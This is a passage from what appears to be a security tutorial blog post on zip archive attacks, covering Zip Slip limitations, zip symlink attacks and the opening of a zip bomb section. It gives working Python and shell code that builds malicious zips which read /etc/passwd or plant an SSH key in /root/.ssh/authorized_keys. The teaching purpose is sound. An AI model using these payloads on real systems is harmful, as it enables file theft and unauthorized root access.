&lt;span class=&quot;token output&quot;&gt;      575                     1 file&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Shell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;h4 id=&quot;limitations-of-zip-slip&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#limitations-of-zip-slip&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Limitations of Zip Slip&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;On Windows, you may need backslashes &lt;code&gt;&#92;&lt;/code&gt; instead of forward slashes &lt;code&gt;/&lt;/code&gt;. This ultimately depends on the unzipping application/library. Some libraries will convert between slashes.&lt;/li&gt;
&lt;li&gt;The app needs execute permissions on intermediate folders (to traverse across) and write permissions on the target folder.
For instance, to write to &lt;code&gt;foo/bar/baz/flag.txt&lt;/code&gt;, we need &lt;code&gt;x&lt;/code&gt; permissions on &lt;code&gt;foo/&lt;/code&gt; and &lt;code&gt;foo/bar/&lt;/code&gt;; and &lt;code&gt;wx&lt;/code&gt; permissions on &lt;code&gt;foo/bar/baz/&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;zip-symlink-attacks&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#zip-symlink-attacks&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Zip Symlink Attacks 🖇&lt;/h3&gt;
&lt;p&gt;Zip symlink attacks are just that: zip file attacks containing symlinks (symbolic links). There are several ways to build such a malicious zip, but let&#39;s first clarify two types of symlinks in our arsenal:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Symlink Files. This allows us to potentially &lt;em&gt;read&lt;/em&gt; arbitrary files.&lt;/li&gt;
&lt;li&gt;Symlink Directories. This allows us to potentially &lt;em&gt;write files&lt;/em&gt; to arbitrary folders.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Why “potential”? Because there are other factors that may hinder such attacks: OS permissions, &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;web application firewalls&quot;&gt;WAFs&lt;/abbr&gt;, etc.&lt;/p&gt;
&lt;h4 id=&quot;arbitrary-file-read-with-file-symlinks&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#arbitrary-file-read-with-file-symlinks&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Arbitrary File Read with File Symlinks&lt;/h4&gt;
&lt;p&gt;Let&#39;s start with a simple zip symlink payload. Here&#39;s a zip which contains a symlink to &lt;code&gt;/etc/passwd&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-text&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;evil-link-file.zip
└── passwd.txt         -&amp;gt; /etc/passwd&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Suppose (again) a vulnerable app unzips this file at &lt;code&gt;/app/uploads/&lt;/code&gt;. The filesystem would now resemble:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-text&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;app/
└── uploads/
	└── passwd.txt     -&amp;gt; /etc/passwd&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;If we can read files in &lt;code&gt;/app/uploads/&lt;/code&gt;, then we can read &lt;code&gt;passwd.txt&lt;/code&gt; and by extension, &lt;code&gt;/etc/passwd&lt;/code&gt;!&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/attack-of-the-zip/#fn1&quot; id=&quot;fnref1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; We can use this method to read any file on the system (subject to certain constraints to be discussed later).&lt;/p&gt;
&lt;p&gt;This is all fine and dandy if we can read files in &lt;code&gt;/app/uploads/&lt;/code&gt;. But... what if can&#39;t?&lt;/p&gt;
&lt;p&gt;One solution is to find a readable directory, then deploy the symlink &lt;em&gt;into that directory&lt;/em&gt; with Zip Slip. But let&#39;s look at another way to achieve the same result...&lt;/p&gt;
&lt;h4 id=&quot;arbitrary-file-write-with-dir-symlinks&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#arbitrary-file-write-with-dir-symlinks&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Arbitrary File Write with Dir Symlinks&lt;/h4&gt;
&lt;p&gt;Although Zip Slip does allow us to perform arbitrary file writes, &lt;code&gt;..&lt;/code&gt; patterns may be (naively) filtered or blocked. An alternative is to use directory symlinks.&lt;/p&gt;
&lt;p&gt;Again, let&#39;s try to write a file to &lt;code&gt;/root/.ssh/authorized_keys&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Instead of using one zip entry, we&#39;ll use two: a directory and a file.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-text&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;evil-link-dir.zip
└── dirlink/           -&amp;gt; /root/.ssh/
    └── authorized_keys&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;These two entries are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;dirlink&lt;/code&gt;: a symlink to our target directory&lt;/li&gt;
&lt;li&gt;&lt;code&gt;dirlink/authorized_keys&lt;/code&gt;: the file we&#39;re trying to write&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Now our zip contains a symlink directory! Let&#39;s go through what happens when this file is unzipped by a vulnerable app.&lt;/p&gt;
&lt;p&gt;First, &lt;code&gt;dirlink&lt;/code&gt; is decompressed and a symlink is created, pointing to &lt;code&gt;/root/.ssh/&lt;/code&gt;. Next, the app tries to decompress &lt;code&gt;dirlink/authorized_keys&lt;/code&gt;, which—if the app follows symlinks—gets written to &lt;code&gt;/root/.ssh/&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Tada! We&#39;ve just shown another way to achieve arbitrary file write.&lt;/p&gt;
&lt;p&gt;Let&#39;s see what the filesystem looks like now.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-text&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;/
├── app/
│	└── uploads/
│	    └── dirlink        -&amp;gt; /root/.ssh/
└── root/
    └── .ssh/
		└── authorized_keys&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;alert alert-success d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-lightbulb ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;&lt;strong&gt;Put it into Practice&lt;/strong&gt;: If you&#39;re itching to try out Zip Slip and zip symlink attacks, feel free to try the &lt;a href=&quot;https://github.com/TrebledJ/attack-of-the-zip&quot;&gt;exercises I&#39;ve uploaded on GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;h4 id=&quot;diy-build-your-own-zip-symlink-payload&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#diy-build-your-own-zip-symlink-payload&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; DIY: Build your own Zip Symlink Payload!&lt;/h4&gt;
&lt;details&gt;&lt;summary&gt;With Python&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;Like before, we can use Python to generate zip symlink payloads. We&#39;ll need some extra massaging with &lt;code&gt;ZipInfo&lt;/code&gt; though.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# evil-link-file.zip&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# └── passwd.txt         -&amp;gt; /etc/passwd&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;with&lt;/span&gt; zipfile&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ZipFile&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;evil-link-file.zip&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;w&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; compression&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;zipfile&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ZIP_DEFLATED&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;zip&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token comment&quot;&gt;# This creates a file symlink named `passwd.txt` which links to `/etc/passwd`.&lt;/span&gt;
  info &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; zipfile&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ZipInfo&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;passwd.txt&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  info&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;create_system &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# Linux =&amp;gt; 0. Windows =&amp;gt; 3.&lt;/span&gt;
  info&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;external_attr &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;stat&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;S_IFLNK &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0o777&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;16&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# File attributes.&lt;/span&gt;
  &lt;span class=&quot;token builtin&quot;&gt;zip&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;writestr&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;info&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;/etc/passwd&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;# /etc/passwd is the file we want to read.&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;To construct a dir symlink attack, we change the path in &lt;code&gt;zip.writestr&lt;/code&gt; to a directory. We also use &lt;code&gt;zip.write&lt;/code&gt; to add a source file.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# evil-link-dir.zip&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# └── dirlink/           -&amp;gt; /root/.ssh/&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;#     └── authorized_keys&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;with&lt;/span&gt; zipfile&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ZipFile&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;evil-link-dir.zip&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;w&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; compression&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;zipfile&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ZIP_DEFLATED&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;zip&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  info &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; zipfile&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ZipInfo&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;dirlink&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  info&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;create_system &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;
  info&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;external_attr &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;stat&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;S_IFLNK &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0o777&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;16&lt;/span&gt;
  &lt;span class=&quot;token builtin&quot;&gt;zip&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;writestr&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;info&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;/root/.ssh/&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token comment&quot;&gt;# Add an file from our filesystem. (Not a symlink.)&lt;/span&gt;
  &lt;span class=&quot;token builtin&quot;&gt;zip&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;write&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;my-ssh-key.pub&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;dirlink/authorized_keys&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;For a double symlink attack (file symlink + dir symlink), we just combine the two methods and create two symlinks.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# evil-link-dir.zip&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# └── dirlink/           -&amp;gt; /some/readable/directory/&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;#     └── passwd.html    -&amp;gt; /etc/passwd&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;with&lt;/span&gt; zipfile&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ZipFile&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;evil-link-dir-file.zip&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;w&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; compression&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;zipfile&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ZIP_DEFLATED&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;zip&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token comment&quot;&gt;# Order matters! Write dir first, then file.&lt;/span&gt;
  info &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; zipfile&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ZipInfo&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;dirlink&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  info&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;create_system &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;
  info&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;external_attr &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;stat&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;S_IFLNK &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0o777&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;16&lt;/span&gt;
  &lt;span class=&quot;token builtin&quot;&gt;zip&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;writestr&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;info&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;/some/readable/directory/&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  info &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; zipfile&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ZipInfo&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;dirlink/passwd.html&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  info&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;create_system &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;
  info&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;external_attr &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;stat&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;S_IFLNK &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0o777&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;16&lt;/span&gt;
  &lt;span class=&quot;token builtin&quot;&gt;zip&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;writestr&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;info&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;/etc/passwd&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;details&gt;&lt;summary&gt;With Shell Commands&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;Shell commands also work. (Make sure to use &lt;code&gt;-y&lt;/code&gt;/&lt;code&gt;--symlinks&lt;/code&gt; when zipping symlinks. Otherwise, you&#39;d be adding your actual &lt;code&gt;/etc/passwd&lt;/code&gt;!)&lt;/p&gt;
&lt;p&gt;Double symlink payload construction:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; data-filter-output=&quot;# &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token output&quot;&gt;Create our (soft) links.&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;ln&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-s&lt;/span&gt; /some/readable/directory/ dirlink&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;ln&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-s&lt;/span&gt; /etc/passwd dirlink/passwd.txt&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Zip the links. (Order matters!)&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;zip&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-y&lt;/span&gt; evil-link-dir-file dirlink dirlink/passwd.txt&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Shell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Note that this approach will leave leftover files.&lt;/p&gt;
&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;h4 id=&quot;limitations-of-zip-symlink-attacks&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#limitations-of-zip-symlink-attacks&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Limitations of Zip Symlink Attacks&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Permissions on Linux.
&lt;ul&gt;
&lt;li&gt;To create a symlink, we need execute permissions in the source directory (where the linked file is located) and write/execute permissions in the target directory (where the symlink is created).&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/attack-of-the-zip/#fn2&quot; id=&quot;fnref2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;li&gt;Reading a symlink requires execute permissions in the source directory, and read permissions on the source file.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Permissions on Windows. By default, only Administrators have the privilege to &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/create-symbolic-links&quot;&gt;create symbolic links&lt;/a&gt;. This setting can be changed by &lt;a href=&quot;https://superuser.com/a/105381&quot;&gt;editing the local group policy&lt;/a&gt; or by directly enabling &lt;code&gt;SeCreateSymbolicLinkPrivilege&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Although symlink attacks are cool and all, they&#39;re relatively rare (in the wild) compared to Zip Slip. Perhaps symlinks are handled with extra care.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;zip-bombs&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#zip-bombs&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Zip Bombs 💣&lt;/h3&gt;
&lt;p&gt;Since we&#39;re talking about attacks, let&#39;s also cover zip bombs for completeness.&lt;/p&gt;
&lt;p&gt;Zip bombs are designed to cripple computers, systems, and virus scanners (rather than read sensitive data or escalate privileges, like Zip Slip and symlink attacks). Much like the well-memed &lt;a href=&quot;https://en.wikipedia.org/wiki/Fork_bomb&quot;&gt;fork bomb&lt;/a&gt;, a zip bomb attempts to drain system resources.&lt;/p&gt;
&lt;div class=&quot;center rw mb-2 h-auto lightbox-gallery&quot;&gt;
